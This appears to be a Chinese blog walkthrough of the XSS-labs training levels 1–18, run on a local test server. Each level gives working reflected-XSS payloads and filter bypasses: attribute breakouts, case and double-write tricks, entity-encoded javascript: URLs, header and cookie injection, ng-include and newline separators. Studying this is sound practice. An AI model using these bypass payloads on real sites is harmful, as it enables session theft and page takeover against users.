XSS

javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行

被过滤,就从以下四个方面入手

  • 大小写
  • 重复写
  • 编码绕过
  • %0a%0d、``

XSS-labs例题

第一关

image-20220219233806743

1
http://127.0.0.1/xss/level1.php?name=1

name这个请求参数,输入的值会改边payload的长度,利用点就在这里。

image-20220219233900933

可以再去看一眼源代码

image-20220219234010992

而且我们可以看到它将name的参数值,插入到了<h2> </h2>标签之间

那么就很明显,这一关主要就是考察反射型xss

但是由于不知道服务器端对于提交的敏感字符有没有过滤,所以这里直接在name参数

中赋值一个简单的弹窗来进行测试。

window.location 对象可用于获取当前页面地址(URL)并把浏览器重定向到新页面。

window.location对象可不带 window 前缀书写。

1
2
3
4
5
6
window.location.href 属性返回当前页面的 URL。
window.location.href 返回当前页面的 href (URL)
window.location.hostname 返回 web 主机的域名
window.location.pathname 返回当前页面的路径或文件名
window.location.protocol 返回使用的 web 协议(http: 或 https:)
window.location.assign 加载新文档

所以直接在name后面输入payload就行了

1
http://127.0.0.1/xss/level1.php?name=%3Cscript%3Ealert(1)%3C/script%3E

image-20220219235715362

源代码分析

image-20220220001700501

可以看到通过$_GET["name"]获得输入值,没有过滤直接进行输出。在第一个echo输出的地方,当时选错了,懒得改了。

第二关

来到第二关用上一关的payload发现不太行

image-20220220001116208

看一下被实体转义了,查看前端代码。

image-20220220001217329

第一处就是显示的地方,这里应该是被做转义了,尝试第二次,先将<input>闭合,构造payload"><script>alert('xss')</script>,成功弹窗。

image-20220220002403920

源代码分析

image-20220220003051737

PHP htmlspecialchars() 函数

1
把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体:

可以看到<h2>标签这里对$str进行了实体化转义.htmlspecialchars(),所以换一个地方去利用,可以看到<input>这里并没有过滤就输出了。但是需要闭合一下。

1
2
3
获取浏览器提交的keyword值,未进行过滤,输出在<input name=keyword value="'.$str.'">。
如果是keyword提交的是<script>alert(xss)</script>,返回的就会是<input name=keyword value="<script>alert(1)</script>">,javascript引擎并不会执行<script>,所以需要构造闭合。
keyword提交test"><script>alert(1)</script>//,php处理后返回的html就会是<input name=keyword value="test"> <script>alert(1)</script>//">,//是注释的作用,javascript引擎执行<script>alert(1)</script>

关于payload

1
2
3
"onclick="alert(1)//
"onmouseover="alert(1)"//
"><script>alert(1)</script>//

image-20220220003913905

第三关

当使用"><script>alert(1)</script>//发现不可以,去看一下

image-20220220010100949

发现被转义了。但是默认是不转义单引号的

image-20220220010005108

payload

javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行

1
2
' onmouseover= 'alert(1)
' onclick = 'alert(1)

源代码分析

image-20220220010732262

对传入的值进行了实体化转义

第四关

直接成功了。。。

image-20220220221006817

源码审计

看了源代码才知道是对<>进行了转义。不过我们没用尖括号。

image-20220220221253020

Payload

1
2
"onclick="alert(1)
"onmousemove="alert(1)

第五关

应该有过滤

image-20220220222809622

image-20220220222830359

本来想着用大小写绕过不可以,但是发现

1
2
3
"><script>alert(1)</script>
后面没被加_,试验了一下<script会被替换为<scr_ipt
那么script没被ban而且尖括号也没被ban,换一个poc就行了

image-20220220231416709

源代码分析

image-20220220231810235

就是把<script替换成scr_ipt,on替换成o_n

Payload

1
"><a href = 'javascript:alert(1)'>

第六关

这关还是没过滤scrip<>,但是给hrefban了

image-20220220233843221

那就试试能不能绕过

image-20220220234150344

用大小写成功绕过

源代码分析

image-20220220234505353

替换<script 、on、src、data、href关键字,但是都是并没有说对大写替换所以可以直接用大小写绕过

Payload

1
2
3
"ONclick="alert(1)
"><a HRef = 'javascript:alert(1)'>
//还有很多 只用把关键字大小写就行

第7关

输入on发现被吃了,那就肯定是对关键字替换为空,直接用双写绕过就行

image-20220220234906494

源代码分析

image-20220220235016103

和我们想的没错,就是把关键字替换为空而已,双写绕过就行了。

Payload

1
"oonnclick = "alert(1)

第八关

还是有绕过,试了试双写不行,大小写不行。那就编码绕过把

image-20220221003725419

image-20220221003812548

因为它是把我们输入的值直接并入a标签中的链接,所以直接加个编码后的javascript:alert(1)就可以了

image-20220221003938063

源代码分析

image-20220221004034668

首先可以看到对大写转为小写,然后对关键字进行一系列过滤,最后在和<a href ="">一起输出出来。

Payload

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

第九关

过滤肯定还是有的,用上一关的payload发现不可以,然后找到一个提示

image-20220221020031518

不合法?那我在后面加一个正确的链接试试

image-20220221020643929

还是不行,试一下http

image-20220221020707260

这下可以了

源代码分析

image-20220221020946623

第一个框的过滤和之前一样,但是多了一个if判断

strpos()

image-20220221021131103

就是判断该变量有无http://

Payload

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#47;&#47;https://baidu.com

第十关

刚开始我没看见输入框,一个劲儿的在url后面跟,后面看了眼前端发现是给隐藏了。。。

image-20220221023004694

说干就干

image-20220221023244430

image-20220221023633570

源代码分析

image-20220221023811788

接受t_sort标签的值并且把尖括号替换为空。

Payload

1
2
3
4
5
6
type后
"text" onclick="alert(1)"
type="text"为构造一个文本框,用来触发onclick事件 不建议这样没有意义的

value后
"onclick ="alert(1)

第十一关

发现了一个很可疑的地方

image-20220221031341822

标签名叫t_ref想到了referer,可以试试在里面插入一下

image-20220221032555188

至于为什么用这个poc当然是为了闭合,看一眼响应就明白了

image-20220221032647473

源代码分析

image-20220221032720759

获取get请求的keywordt_sort变量和referer字段,过滤referer字段的尖括号后输出在html代码中

payload

1
"type="text" onclick = "alert(1)//

第十二关

可以看一下源代码发现

image-20220221033250411

说明我们可以ua头注入,试一下

image-20220221033452300

源代码分析

image-20220221033546619

和上一道差不多

获取get请求的keywordt_sort变量和UA字段,过滤UA字段的尖括号后输出在html代码中

payload

1
"type="text" onclick = "alert(1)//

第十三关

image-20220221065555933

不出意外的话就是cookie了,看一下原本的cookie

image-20220221070811307

添加上POC就可以了

image-20220221071034839

源码分析

image-20220221071203105

其实和前面几道一样,只不过这次变成了取user这个cookie

Payload

1
"type="text" onclick = "alert(1)//

第十四关

地址失效了可以看一这个文章

https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12

不过思路就是上传一个含有xss代码的图片触发xss。

img

第十五关

可以发现我们传入的数据被插入到了<span>标签的class

性值中,但是前面还有ng-include这样的字符。

image-20220221080706516

本来想绕过,但是被过滤了

image-20220221082325261

调用本地有xss漏洞的文件,触发xss

image-20220221080840382

ng-includeangular js中的东西,其作用相当于php的include函数。这里就

是将1.gif这个文件给包含进来。

既然此处用了ng-include指令的话,先了解一下其具体的用法。

1
2
3
4
ng-include 指令用于包含外部的 HTML文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
ng-include,如果单纯指定地址,必须要加引号
ng-include,加载外部html,script标签中的内容不执行
ng-include,加载外部html中含有style标签样式可以识别

因为这里参数值算是一个地址,所以需要添加引号。

但是level1.php不是一个php文件吗?

这是因为我们不是单纯的去包含level1.php,而是在后面添加了name参数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的html文件给包含进来的意思。然后尝试一下

构造代码

1
?src='level1.php?name=<img src=1 onerror=alert(1)>'

源代码分析

image-20220221082129190

nginclude调用采用htmlspecialchars过滤输入的src变量

Payload

1
?src='level1.php?name=<img src=1 onerror=alert(1)>'

第十六关

image-20220221083051747

传了一个基础的xss语句发现script、空格、/都被转换为&nbsp

使用%0d %0a做分割符

image-20220221083706925

源码分析

image-20220221084206244

过滤了script、空格、/,大小写绕过

payload

1
2
3
4
<img%0Dsrc=1%0Donerror=alert(1)>
<img%0asrc=1%0aonerror=alert(1)
<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
<a%0atype="text"%0aonclick="alert(1)">

第十七关

image-20220221084842949

两个诸如点哪个都行,可以看到<>、"被过滤了

用on时间,因为在<embed>标签里也没有加引号不用闭合

image-20220221085105791

源代码分析

image-20220221085204026

对传入的值进行htmlspecialchars

payload

1
2
onmousemove=alert(1)
a\b都行

第十八关

image-20220221090523152

感觉和上一关区别不大

源码分析

image-20220221090556368

基本上区别不大

payload

1
2
3
arg01=a&arg02=b onmouseout=alert(1)
arg01=a&arg02=b onmouseout=alert`1`
arg01=a&arg02=b onmouseover=alert`1`